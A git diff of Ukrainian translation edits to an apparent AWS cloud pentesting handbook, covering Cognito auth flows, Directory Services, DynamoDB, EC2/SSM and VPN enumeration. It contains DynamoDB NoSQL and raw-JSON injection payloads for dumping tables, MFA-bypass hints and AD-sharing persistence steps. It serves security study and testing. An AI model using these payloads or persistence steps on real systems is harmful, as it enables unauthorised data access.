його в зовнішніх додатках. -- ID токен - це токен, який **містить значення атрибутів користувача**, навіть кастомних. -- [**Access токен**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Він містить заяви про аутентифікованого користувача, список **груп користувача та список обсягів**. Мета access токена - **авторизувати API операції** в контексті користувача в user pool. Наприклад, ви можете використовувати access токен, щоб **надати вашому користувачу доступ** до додавання, зміни або видалення атрибутів користувача. -- [**Refresh токен**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): З refresh токенами ви можете **отримувати нові ID токени та Access токени** для користувача, поки **refresh токен недійсний**. За **замовчуванням** refresh токен **закінчує термін дії через 30 днів** після того, як ваш користувач увійшов у ваш user pool. Коли ви створюєте додаток для вашого user pool, ви можете встановити термін дії refresh токена додатка на **будь-яке значення від 60 хвилин до 10 років**. +- [**ID токен**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): Він містить заяви про **особу аутентифікованого користувача**, такі як `name`, `email` та `phone_number`. ID токен також можна використовувати для **аутентифікації користувачів на ваших ресурсних серверах або серверних додатках**. Ви повинні **перевірити** **підпис** ID токена, перш ніж довіряти будь-яким заявам всередині ID токена, якщо ви використовуєте його в зовнішніх додатках. +- ID токен є токеном, який **містить значення атрибутів користувача**, навіть користувацьких. +- [**Access токен**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Він містить заяви про аутентифікованого користувача, список **груп користувача та список обсягів**. Мета Access токена полягає в тому, щоб **авторизувати API операції** в контексті користувача в пулі користувачів. Наприклад, ви можете використовувати Access токен, щоб **надати вашому користувачу доступ** до додавання, зміни або видалення атрибутів користувача. +- [**Refresh токен**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): За допомогою Refresh токенів ви можете **отримати нові ID токени та Access токени** для користувача, поки **Refresh токен недійсний**. За **замовчуванням** Refresh токен **закінчує термін дії через 30 днів** після того, як ваш користувач увійшов у ваш пул користувачів. Коли ви створюєте додаток для вашого пулу користувачів, ви можете встановити термін дії Refresh токена додатка на **будь-яке значення від 60 хвилин до 10 років**. ### ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH Це потік аутентифікації на стороні сервера: -- Додаток на стороні сервера викликає **`AdminInitiateAuth` API операцію** (замість `InitiateAuth`). Ця операція вимагає AWS облікові дані з дозволами, які включають **`cognito-idp:AdminInitiateAuth`** та **`cognito-idp:AdminRespondToAuthChallenge`**. Операція повертає необхідні параметри аутентифікації. -- Після того, як додаток на стороні сервера отримав **параметри аутентифікації**, він викликає **`AdminRespondToAuthChallenge` API операцію**. API операція `AdminRespondToAuthChallenge` успішно виконується лише тоді, коли ви надаєте AWS облікові дані. +- Додаток на стороні сервера викликає **`AdminInitiateAuth` API операцію** (замість `InitiateAuth`). Ця операція вимагає облікові дані AWS з дозволами, які включають **`cognito-idp:AdminInitiateAuth`** та **`cognito-idp:AdminRespondToAuthChallenge`**. Операція повертає необхідні параметри аутентифікації. +- Після того, як додаток на стороні сервера отримав **параметри аутентифікації**, він викликає **`AdminRespondToAuthChallenge` API операцію**. API операція `AdminRespondToAuthChallenge` успішно виконується лише тоді, коли ви надаєте облікові дані AWS. Цей **метод НЕ активований** за замовчуванням. Щоб **увійти**, вам **потрібно** знати: -- id user pool +- id пулу користувачів - id клієнта - ім'я користувача - пароль - секрет клієнта (тільки якщо додаток налаштовано на використання секрету) > [!NOTE] -> Щоб **мати можливість увійти за цим методом**, цей додаток повинен дозволяти вхід з `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\ -> Більше того, для виконання цієї дії вам потрібні облікові дані з дозволами **`cognito-idp:AdminInitiateAuth`** та **`cognito-idp:AdminRespondToAuthChallenge`**. +> Щоб **мати можливість увійти за допомогою цього методу**, цей додаток повинен дозволяти вхід з `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\ +> Більше того, для виконання цієї дії вам потрібні облікові дані з дозволами **`cognito-idp:AdminInitiateAuth`** та **`cognito-idp:AdminRespondToAuthChallenge`** ```python aws cognito-idp admin-initiate-auth \ --client-id \ @@ -243,7 +243,7 @@ print(login_user(username, password, client_id, client_secret, user_pool_id)) ### USER_PASSWORD_AUTH -Цей метод є ще одним простим і **традиційним методом аутентифікації користувача та пароля**. Рекомендується **мігрувати традиційний** метод аутентифікації **до Cognito** і **рекомендується** потім **відключити** його та **використовувати** метод **ALLOW_USER_SRP_AUTH** замість цього (оскільки він ніколи не надсилає пароль через мережу).\ +Цей метод є ще одним простим і **традиційним методом аутентифікації користувача та пароля**. Рекомендується **мігрувати традиційний** метод аутентифікації **до Cognito** і **рекомендується** потім **відключити** його та **використовувати** метод **ALLOW_USER_SRP_AUTH** замість цього (оскільки цей метод ніколи не надсилає пароль через мережу).\ Цей **метод НЕ активовано** за замовчуванням. Основна **різниця** з **попереднім методом аутентифікації** в коді полягає в тому, що вам **не потрібно знати ID пулу користувачів** і що вам **не потрібні додаткові дозволи** в Cognito User Pool. @@ -256,7 +256,7 @@ print(login_user(username, password, client_id, client_secret, user_pool_id)) - client secret (тільки якщо додаток налаштовано на використання секрету) > [!NOTE] -> Щоб **мати можливість увійти за допомогою цього методу**, цей додаток повинен дозволяти вхід з ALLOW_USER_PASSWORD_AUTH. +> Щоб **мати можливість увійти за допомогою цього методу**, цей додаток повинен дозволяти вхід за допомогою ALLOW_USER_PASSWORD_AUTH. ```python aws cognito-idp initiate-auth --client-id \ --auth-flow USER_PASSWORD_AUTH --region \ @@ -310,7 +310,7 @@ print(login_user(username, password, client_id, client_secret, user_pool_id)) ### USER_SRP_AUTH -Цей сценарій подібний до попереднього, але **замість того, щоб надсилати пароль** через мережу для входу, **виконується аутентифікація з викликом** (тобто жоден пароль не передається, навіть зашифрований через мережу).\ +Цей сценарій подібний до попереднього, але **замість того, щоб надсилати пароль** через мережу для входу, **виконується аутентифікація за допомогою виклику** (тобто жоден пароль не передається, навіть зашифрований через мережу).\ Цей **метод увімкнено** за замовчуванням. Щоб **увійти**, вам **потрібно** знати: @@ -323,7 +323,7 @@ print(login_user(username, password, client_id, client_secret, user_pool_id))
-Code to login +Код для входу ```python from warrant.aws_srp import AWSSRP import os @@ -395,16 +395,16 @@ print(refresh(client_id, token)) ### Розширена безпека -За замовчуванням вона вимкнена, але якщо її увімкнути, Cognito може бути в змозі **виявити захоплення облікових записів**. Щоб зменшити ймовірність, ви повинні увійти з **мережі в межах одного міста, використовуючи той самий агент користувача** (і IP, якщо це можливо)**.** +За замовчуванням вона вимкнена, але якщо її увімкнути, Cognito може виявити **викрадення облікових записів**. Щоб зменшити ймовірність, ви повинні увійти з **мережі в межах одного міста, використовуючи той же агент користувача** (і IP, якщо це можливо)**.** ### **MFA Запам'ятати пристрій** Якщо користувач входить з того ж пристрою, MFA може бути обійдено, тому спробуйте увійти з того ж браузера з тими ж метаданими (IP?), щоб спробувати обійти захист MFA. -## Групи User Pool IAM ролей +## Ролі IAM груп користувачів -Можна додавати **користувачів до груп User Pool**, які пов'язані з однією **IAM роллю**.\ -Більше того, **користувачі** можуть бути призначені **більше ніж до 1 групи з різними IAM ролями**. +Можна додавати **користувачів до групи User Pool**, які пов'язані з однією **IAM роллю**.\ +Більше того, **користувачі** можуть бути призначені **більше ніж до 1 групи з різними прикріпленими IAM ролями**. Зверніть увагу, що навіть якщо група знаходиться всередині групи з прикріпленою IAM роллю, для того щоб мати доступ до IAM облікових даних цієї групи, потрібно, щоб **User Pool був довірений Identity Pool** (і знати деталі цього Identity Pool). @@ -412,7 +412,7 @@ print(refresh(client_id, token))
-**Ролі**, до яких має доступ користувач, знаходяться **всередині `IdToken`**, і користувач може **вибрати, для якої ролі він хотів би отримати облікові дані** за допомогою **`--custom-role-arn`** з `aws cognito-identity get-credentials-for-identity`.\ +**Ролі**, до яких має доступ користувач, знаходяться **всередині `IdToken`**, і користувач може **вибрати, для якої ролі він хотів би отримати облікові дані** з **`--custom-role-arn`** з `aws cognito-identity get-credentials-for-identity`.\ Однак, якщо **опція за замовчуванням** є тією, що **сконфігурована** (`використовувати роль за замовчуванням`), і ви намагаєтеся отримати доступ до ролі з IdToken, ви отримаєте **помилку** (ось чому потрібна попередня конфігурація): ``` An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md index 901f45ffa..0ef9e7621 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -4,10 +4,10 @@ ## DataPipeline -AWS Data Pipeline призначений для полегшення **доступу, перетворення та ефективної передачі** даних в масштабах. Він дозволяє виконувати наступні операції: +AWS Data Pipeline призначений для полегшення **доступу, трансформації та ефективної передачі** даних в масштабах. Він дозволяє виконувати такі операції: -1. **Доступ до ваших даних, де б вони не зберігалися**: Дані, що зберігаються в різних сервісах AWS, можна отримати безперешкодно. -2. **Перетворення та обробка в масштабах**: Завдання з обробки та перетворення даних великого обсягу виконуються ефективно. +1. **Доступ до ваших даних, де б вони не зберігалися**: Дані, що знаходяться в різних сервісах AWS, можна отримати безперешкодно. +2. **Трансформація та обробка в масштабах**: Завдання з обробки та трансформації даних великого обсягу виконуються ефективно. 3. **Ефективна передача результатів**: Оброблені дані можуть бути ефективно передані до кількох сервісів AWS, включаючи: - Amazon S3 - Amazon RDS @@ -25,7 +25,7 @@ aws datapipeline get-pipeline-definition --pipeline-id ``` ### Privesc -На наступній сторінці ви можете перевірити, як **зловживати дозволами datapipeline для ескалації привілеїв**: +На наступній сторінці ви можете перевірити, як **зловживати правами datapipeline для ескалації привілеїв**: {{#ref}} ../aws-privilege-escalation/aws-datapipeline-privesc.md @@ -56,7 +56,7 @@ aws codepipeline get-pipeline-state --name Це **сервіс контролю версій**, який хоститься та повністю управляється Amazon, і може бути використаний для приватного зберігання даних (документів, бінарних файлів, вихідного коду) та їх управління в хмарі. -Це **усуває** необхідність для користувача знати Git та **управляти власною системою контролю версій** або турбуватися про масштабування своєї інфраструктури. Codecommit підтримує всі стандартні **функції, які можна знайти в Git**, що означає, що він без зусиль працює з поточними інструментами на базі Git користувача. +Це **усуває** необхідність для користувача знати Git та **управляти власною системою контролю версій** або турбуватися про масштабування своєї інфраструктури. Codecommit підтримує всі стандартні **функціональності, які можна знайти в Git**, що означає, що він без зусиль працює з поточними інструментами на базі Git користувача. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md index 81826e93b..1b9ca7b76 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md @@ -4,7 +4,7 @@ ## Directory Services -AWS Directory Service для Microsoft Active Directory - це керована служба, яка спрощує **налаштування, експлуатацію та масштабування каталогу** в AWS Cloud. Вона побудована на основі **Microsoft Active Directory** і тісно інтегрується з іншими службами AWS, що полегшує управління вашими робочими навантаженнями, що знають про каталог, та ресурсами AWS. З AWS Managed Microsoft AD ви можете **використовувати свої існуючі** користувачі, групи та політики Active Directory для управління доступом до ваших ресурсів AWS. Це може допомогти спростити управління ідентичністю та зменшити потребу в додаткових рішеннях для ідентифікації. AWS Managed Microsoft AD також забезпечує автоматичні резервні копії та можливості відновлення після катастроф, що допомагає забезпечити доступність та надійність вашого каталогу. Загалом, AWS Directory Service для Microsoft Active Directory може допомогти вам заощадити час і ресурси, надаючи керовану, високо доступну та масштабовану службу Active Directory в AWS Cloud. +AWS Directory Service для Microsoft Active Directory - це керована служба, яка спрощує **налаштування, експлуатацію та масштабування каталогу** в AWS Cloud. Вона побудована на базі **Microsoft Active Directory** і тісно інтегрується з іншими службами AWS, що полегшує управління вашими робочими навантаженнями, що знають про каталог, та ресурсами AWS. З AWS Managed Microsoft AD ви можете **використовувати свої існуючі** користувачі, групи та політики Active Directory для управління доступом до ваших ресурсів AWS. Це може допомогти спростити управління ідентичністю та зменшити потребу в додаткових рішеннях для ідентифікації. AWS Managed Microsoft AD також забезпечує автоматичні резервні копії та можливості відновлення після катастроф, що допомагає забезпечити доступність та надійність вашого каталогу. Загалом, AWS Directory Service для Microsoft Active Directory може допомогти вам заощадити час і ресурси, надаючи керовану, високо доступну та масштабовану службу Active Directory в AWS Cloud. ### Options @@ -12,7 +12,7 @@ Directory Services дозволяє створювати 5 типів катал - **AWS Managed Microsoft AD**: Який запустить новий **Microsoft AD в AWS**. Ви зможете встановити пароль адміністратора та отримати доступ до DC у VPC. - **Simple AD**: Який буде **Linux-Samba** сервером, сумісним з Active Directory. Ви зможете встановити пароль адміністратора та отримати доступ до DC у VPC. -- **AD Connector**: Проксі для **перенаправлення запитів каталогу до вашого існуючого Microsoft Active Directory** без кешування будь-якої інформації в хмарі. Він буде слухати в **VPC**, і вам потрібно надати **облікові дані для доступу до існуючого AD**. +- **AD Connector**: Проксі для **перенаправлення запитів до каталогу на ваш існуючий Microsoft Active Directory** без кешування будь-якої інформації в хмарі. Він буде слухати в **VPC**, і вам потрібно надати **облікові дані для доступу до існуючого AD**. - **Amazon Cognito User Pools**: Це те ж саме, що і Cognito User Pools. - **Cloud Directory**: Це **найпростіший** варіант. **Безсерверний** каталог, де ви вказуєте **схему** для використання та **оплачуєте відповідно до використання**. @@ -35,9 +35,9 @@ aws ds get-directory-limits aws ds list-certificates --directory-id aws ds describe-certificate --directory-id --certificate-id ``` -### Login +### Вхід -Зверніть увагу, що якщо **опис** каталогу містить **домен** у полі **`AccessUrl`**, це означає, що **користувач** ймовірно може **увійти** зі своїми **обліковими даними AD** в деякі **AWS сервіси:** +Зверніть увагу, що якщо **опис** каталогу містив **домен** у полі **`AccessUrl`**, це означає, що **користувач** може, ймовірно, **увійти** зі своїми **обліковими даними AD** в деякі **AWS сервіси:** - `.awsapps.com/connect` (Amazon Connect) - `.awsapps.com/workdocs` (Amazon WorkDocs) @@ -45,39 +45,39 @@ aws ds describe-certificate --directory-id --certificate-id - `.awsapps.com/console` (Amazon Management Console) - `.awsapps.com/start` (IAM Identity Center) -### Privilege Escalation +### Підвищення привілеїв {{#ref}} ../aws-privilege-escalation/aws-directory-services-privesc.md {{#endref}} -## Persistence +## Постійність -### Using an AD user +### Використання користувача AD -**Користувачу AD** можна надати **доступ до консолі управління AWS** через роль, яку потрібно прийняти. **Ім'я користувача за замовчуванням - Admin** і можливе **зміна його пароля** з консолі AWS. +Користувачу **AD** можна надати **доступ до консолі управління AWS** через роль, яку потрібно прийняти. **Ім'я користувача за замовчуванням - Admin** і можна **змінити його пароль** з консолі AWS. Отже, можливо **змінити пароль Admin**, **створити нового користувача** або **змінити пароль** користувача та надати цьому користувачу роль для підтримки доступу.\ -Також можливо **додати користувача до групи в AD** та **надати цій групі AD доступ до ролі** (щоб зробити цю стійкість більш непомітною). +Також можливо **додати користувача до групи в AD** та **надати цій групі AD доступ до ролі** (щоб зробити цю постійність більш непомітною). -### Sharing AD (from victim to attacker) +### Спільний доступ до AD (від жертви до атакуючого) Можливо поділитися середовищем AD від жертви до атакуючого. Таким чином, атакуючий зможе продовжувати доступ до середовища AD.\ -Однак це передбачає спільне використання керованого AD та також створення з'єднання VPC peering. +Однак це передбачає спільний доступ до керованого AD та також створення з'єднання VPC peering. Ви можете знайти посібник тут: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) -### ~~Sharing AD (from attacker to victim)~~ +### ~~Спільний доступ до AD (від атакуючого до жертви)~~ Не виглядає можливим надати доступ до AWS користувачам з іншого середовища AD до одного облікового запису AWS. ## WorkDocs -Amazon Web Services (AWS) WorkDocs - це хмарна **служба зберігання та обміну файлами**. Вона є частиною набору хмарних обчислювальних послуг AWS і призначена для забезпечення безпечного та масштабованого рішення для організацій для зберігання, обміну та співпраці над файлами та документами. +Amazon Web Services (AWS) WorkDocs - це хмарний **сервіс зберігання та обміну файлами**. Він є частиною набору хмарних обчислювальних послуг AWS і призначений для забезпечення безпечного та масштабованого рішення для організацій для зберігання, обміну та співпраці над файлами та документами. AWS WorkDocs надає веб-інтерфейс для користувачів для завантаження, доступу та управління своїми файлами та документами. Він також пропонує такі функції, як контроль версій, спільна робота в реальному часі та інтеграція з іншими сервісами AWS та сторонніми інструментами. -### Enumeration +### Перерахування ```bash # Get AD users (Admin not included) aws workdocs describe-users --organization-id diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md index 96e99c013..21cf56465 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md @@ -21,7 +21,7 @@ aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attribute ``` ### NoSQL Injection -Оскільки DocumentDB є базою даних, сумісною з MongoDB, ви можете уявити, що вона також вразлива до поширених атак NoSQL injection: +Оскільки DocumentDB є сумісною з MongoDB базою даних, ви можете уявити, що вона також вразлива до поширених атак NoSQL injection: {{#ref}} https://book.hacktricks.xyz/pentesting-web/nosql-injection diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md index 7df1d5eef..1fe460f8e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md @@ -18,9 +18,9 @@ Amazon DynamoDB представлений AWS як **повністю керо ### Резервні копії та експорт до S3 -Можливо **планувати** створення **резервних копій таблиць** або створювати їх за **запитом**. Крім того, також можливо активувати **відновлення на момент часу (PITR) для таблиці.** Відновлення на момент часу забезпечує безперервні **резервні копії** ваших даних DynamoDB на **35 днів**, щоб допомогти вам захиститися від випадкових операцій запису або видалення. +Можна **планувати** створення **резервних копій таблиць** або створювати їх за **запитом**. Крім того, також можливо активувати **відновлення на момент часу (PITR) для таблиці.** Відновлення на момент часу забезпечує безперервні **резервні копії** ваших даних DynamoDB протягом **35 днів**, щоб допомогти вам захиститися від випадкових операцій запису або видалення. -Також можливо експортувати **дані таблиці до S3**, але таблиця повинна мати **активований PITR**. +Також можливо експортувати **дані таблиці до S3**, але таблиця повинна мати **активоване PITR**. ### GUI @@ -65,13 +65,13 @@ aws dynamodb describe-endpoints #Dynamodb endpoints ../aws-privilege-escalation/aws-dynamodb-privesc.md {{#endref}} -### Після експлуатації +### Постексплуатація {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md {{#endref}} -### Постійність +### Персистентність {{#ref}} ../aws-persistence/aws-dynamodb-persistence.md @@ -89,15 +89,15 @@ https://book.hacktricks.xyz/pentesting-web/sql-injection ### NoSQL-ін'єкція -У DynamoDB можна використовувати різні **умови** для отримання даних, як у звичайній NoSQL-ін'єкції, якщо можливо **з'єднати більше умов для отримання** даних, ви можете отримати приховані дані (або вивантажити всю таблицю).\ +У DynamoDB можна використовувати різні **умови** для отримання даних, як у звичайній NoSQL-ін'єкції, якщо можливо **з'єднати більше умов для отримання** даних, ви могли б отримати приховані дані (або вивантажити всю таблицю).\ Тут ви можете знайти умови, підтримувані DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) -Зверніть увагу, що **підтримуються різні умови**, якщо дані отримуються через **`query`** або через **`scan`**. +Зверніть увагу, що **різні умови** підтримуються, якщо дані отримуються через **`query`** або через **`scan`**. > [!NOTE] -> Насправді, **Query** дії повинні вказувати **умову "EQ" (дорівнює)** в **первинному** ключі, щоб працювати, що робить їх набагато **менш вразливими до NoSQL-ін'єкцій** (і також обмежує операцію). +> Насправді, дії **Query** повинні вказувати **умову "EQ" (дорівнює)** в **первинному** ключі, щоб працювати, що робить їх набагато **менш вразливими до NoSQL-ін'єкцій** (і також обмежує операцію). -Якщо ви можете **змінити порівняння**, що виконується, або додати нові, ви можете отримати більше даних. +Якщо ви можете **змінити порівняння**, що виконується, або додати нові, ви могли б отримати більше даних. ```bash # Comparators to dump the database "NE": "a123" #Get everything that doesn't equal "a123" @@ -108,14 +108,14 @@ https://book.hacktricks.xyz/pentesting-web/sql-injection https://book.hacktricks.xyz/pentesting-web/nosql-injection {{#endref}} -### Raw Json injection +### Сира ін'єкція Json > [!CAUTION] > **Ця вразливість базується на Scan Filter dynamodb, який тепер застарілий!** -**DynamoDB** приймає **Json** об'єкти для **пошуку** даних у БД. Якщо ви виявите, що можете записувати в json об'єкт, надісланий для пошуку, ви зможете зробити дамп БД, всієї її вмісту. +**DynamoDB** приймає **Json** об'єкти для **пошуку** даних у БД. Якщо ви виявите, що можете записувати в json об'єкт, надісланий для пошуку, ви можете зробити дамп БД, всієї її вмісту. -Наприклад, інжектуючи в запит, як: +Наприклад, ін'єкція в запит, як: ```bash '{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}' ``` @@ -152,7 +152,7 @@ password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none ```java new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap) ``` -Вам потрібно знати, що пошук у DynamoDB для **заміни** значення **атрибута** в **виразах фільтра** під час сканування елементів, токени повинні **починатися** з символу **`:`**. Такі токени будуть **замінені** на фактичне **значення атрибута під час виконання**. +Вам потрібно знати, що пошук у DynamoDB для **заміни** значення **атрибута** в **виразах фільтрації** під час сканування елементів, токени повинні **починатися** з символу **`:`**. Такі токени будуть **замінені** на фактичне **значення атрибута під час виконання**. Отже, вхід, подібний до попереднього, можна обійти за допомогою чогось на зразок: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md index 8d0df6dc2..1f12e8ef1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md @@ -23,7 +23,7 @@ Amazon EC2 використовується для ініціювання **ві - Мережі - Мережі - Підмережі -- Публічні IP +- Публічні IP-адреси - Відкриті порти - Інтегровані з'єднання з іншими мережами поза AWS @@ -35,7 +35,7 @@ Amazon EC2 використовується для ініціювання **ві ### Metadata Endpoint -Метадані AWS EC2 - це інформація про інстанс Amazon Elastic Compute Cloud (EC2), яка доступна для інстансу під час виконання. Ці метадані використовуються для надання інформації про інстанс, такої як його ідентифікатор інстансу, зона доступності, в якій він працює, IAM роль, пов'язана з інстансом, та ім'я хоста інстансу. +AWS EC2 метадані - це інформація про інстанс Amazon Elastic Compute Cloud (EC2), яка доступна інстансу під час виконання. Ці метадані використовуються для надання інформації про інстанс, такої як його ідентифікатор інстансу, зона доступності, в якій він працює, IAM роль, пов'язана з інстансом, та ім'я хоста інстансу. {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -141,7 +141,7 @@ aws ec2 describe-vpc-peering-connections ../../aws-privilege-escalation/aws-ec2-privesc.md {{#endref}} -### Післяексплуатація +### Пост-експлуатація {{#ref}} ../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/ @@ -149,13 +149,13 @@ aws ec2 describe-vpc-peering-connections ## EBS -Amazon **EBS** (Elastic Block Store) **знімки** в основному є статичними **резервними копіями** обсягів AWS EBS. Іншими словами, це **копії** **дисків**, підключених до **EC2** екземпляра в певний момент часу. Знімки EBS можуть бути скопійовані між регіонами та обліковими записами, або навіть завантажені та запущені локально. +Amazon **EBS** (Elastic Block Store) **знімки** - це, по суті, статичні **резервні копії** обсягів AWS EBS. Іншими словами, це **копії** **дисків**, підключених до **EC2** екземпляра в певний момент часу. Знімки EBS можна копіювати між регіонами та обліковими записами або навіть завантажувати та запускати локально. Знімки можуть містити **чутливу інформацію**, таку як **джерельний код або ключі API**, тому, якщо у вас є можливість, рекомендується перевірити це. ### Різниця AMI та EBS -**AMI** використовується для **запуску EC2 екземпляра**, тоді як **знімок** EC2 використовується для **резервного копіювання та відновлення даних, збережених на обсязі EBS**. Хоча знімок EC2 може бути використаний для створення нового AMI, це не те саме, що AMI, і він не містить інформації про операційну систему, сервер додатків або інше програмне забезпечення, необхідне для запуску програми. +**AMI** використовується для **запуску EC2 екземпляра**, тоді як **знімок EC2** використовується для **резервного копіювання та відновлення даних, збережених на обсязі EBS**. Хоча знімок EC2 можна використовувати для створення нового AMI, це не те саме, що AMI, і він не містить інформації про операційну систему, сервер додатків або інше програмне забезпечення, необхідне для запуску програми. ### Підвищення привілеїв @@ -171,7 +171,7 @@ Amazon **EBS** (Elastic Block Store) **знімки** в основному є **SSM Agent** дозволяє Systems Manager оновлювати, керувати та налаштовувати ці ресурси. Агент **обробляє запити від служби Systems Manager в AWS Cloud** і потім виконує їх відповідно до запиту. -**SSM Agent постачається**[ **попередньо встановленим в деяких AMI**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) або вам потрібно [**встановити їх вручну**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) на екземплярах. Також IAM роль, що використовується всередині екземпляра, повинна мати політику **AmazonEC2RoleforSSM**, щоб мати можливість спілкуватися. +**SSM Agent постачається**[ **попередньо встановленим в деяких AMI**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) або вам потрібно [**встановити їх вручну**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) на екземплярах. Також роль IAM, що використовується всередині екземпляра, повинна мати політику **AmazonEC2RoleforSSM**, щоб мати можливість спілкуватися. ### Перерахування ```bash @@ -182,7 +182,7 @@ aws ssm describe-instance-patches --instance-id aws ssm describe-instance-patch-states --instance-ids aws ssm describe-instance-associations-status --instance-id ``` -Ви можете перевірити, чи працює Systems Manager в EC2 інстанції, просто виконавши: +Ви можете перевірити, чи працює Systems Manager в EC2 інстансі, просто виконавши: ```bash ps aux | grep amazon-ssm ``` @@ -211,7 +211,7 @@ aws elbv2 describe-listeners --load-balancer-arn ``` ## Шаблони запуску та групи автоскалювання -### Перерахування +### Перерахунок ```bash # Launch templates aws ec2 describe-launch-templates @@ -228,9 +228,9 @@ aws autoscaling describe-load-balancers ``` ## Nitro -AWS Nitro - це набір **інноваційних технологій**, які формують базову платформу для AWS EC2 інстансів. Введений Amazon для **покращення безпеки, продуктивності та надійності**, Nitro використовує спеціальні **апаратні компоненти та легкий гіпервізор**. Він абстрагує більшість традиційних функцій віртуалізації на спеціалізоване апаратне та програмне забезпечення, **мінімізуючи поверхню атаки** та покращуючи ефективність ресурсів. Завдяки перенесенню функцій віртуалізації, Nitro дозволяє EC2 інстансам забезпечувати **практично продуктивність bare-metal**, що робить його особливо корисним для ресурсомістких додатків. Крім того, Nitro Security Chip спеціально забезпечує **безпеку апаратного забезпечення та прошивки**, ще більше зміцнюючи його надійну архітектуру. +AWS Nitro - це набір **інноваційних технологій**, які формують базову платформу для AWS EC2 інстансів. Введений Amazon для **покращення безпеки, продуктивності та надійності**, Nitro використовує спеціальні **апаратні компоненти та легкий гіпервізор**. Він абстрагує більшість традиційних функцій віртуалізації на спеціалізоване апаратне та програмне забезпечення, **мінімізуючи поверхню атаки** та покращуючи ефективність ресурсів. Відвантажуючи функції віртуалізації, Nitro дозволяє EC2 інстансам забезпечувати **практично продуктивність bare-metal**, що робить його особливо корисним для ресурсомістких додатків. Крім того, Nitro Security Chip спеціально забезпечує **безпеку апаратного забезпечення та прошивки**, ще більше зміцнюючи його надійну архітектуру. -Отримайте більше інформації та дізнайтеся, як це перерахувати з: +Отримайте більше інформації та дізнайтеся, як його перерахувати з: {{#ref}} aws-nitro-enum.md @@ -260,8 +260,8 @@ VPN дозволяє підключити вашу **локальну мереж 4. **Client VPN Endpoint**: - Кінцева точка Client VPN - це ресурс, який ви створюєте в AWS для активації та управління сесіями клієнтського VPN. - Він використовується для дозволу окремим пристроям (таким як ноутбуки, смартфони тощо) безпечно підключатися до ресурсів AWS або вашої локальної мережі. -- Він відрізняється від Site-to-Site VPN тим, що призначений для окремих клієнтів, а не для з'єднання цілих мереж. -- З Client VPN кожен клієнтський пристрій використовує програмне забезпечення клієнта VPN для встановлення безпечного з'єднання. +- Він відрізняється від Site-to-Site VPN тим, що призначений для окремих клієнтів, а не для підключення цілих мереж. +- З Client VPN кожен клієнтський пристрій використовує програмне забезпечення VPN-клієнта для встановлення безпечного з'єднання. Ви можете [**знайти більше інформації про переваги та компоненти AWS VPN тут**](aws-vpc-and-networking-basic-information.md#vpn). @@ -301,7 +301,7 @@ aws ec2 describe-vpn-connections Якщо **VPN-з'єднання було встановлено**, вам слід шукати **`.opvn`** файли конфігурації в системі. Більше того, одне місце, де ви можете знайти **конфігурації**, це **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`** -#### **Пост Експлуатація** +#### **Постексплуатація** 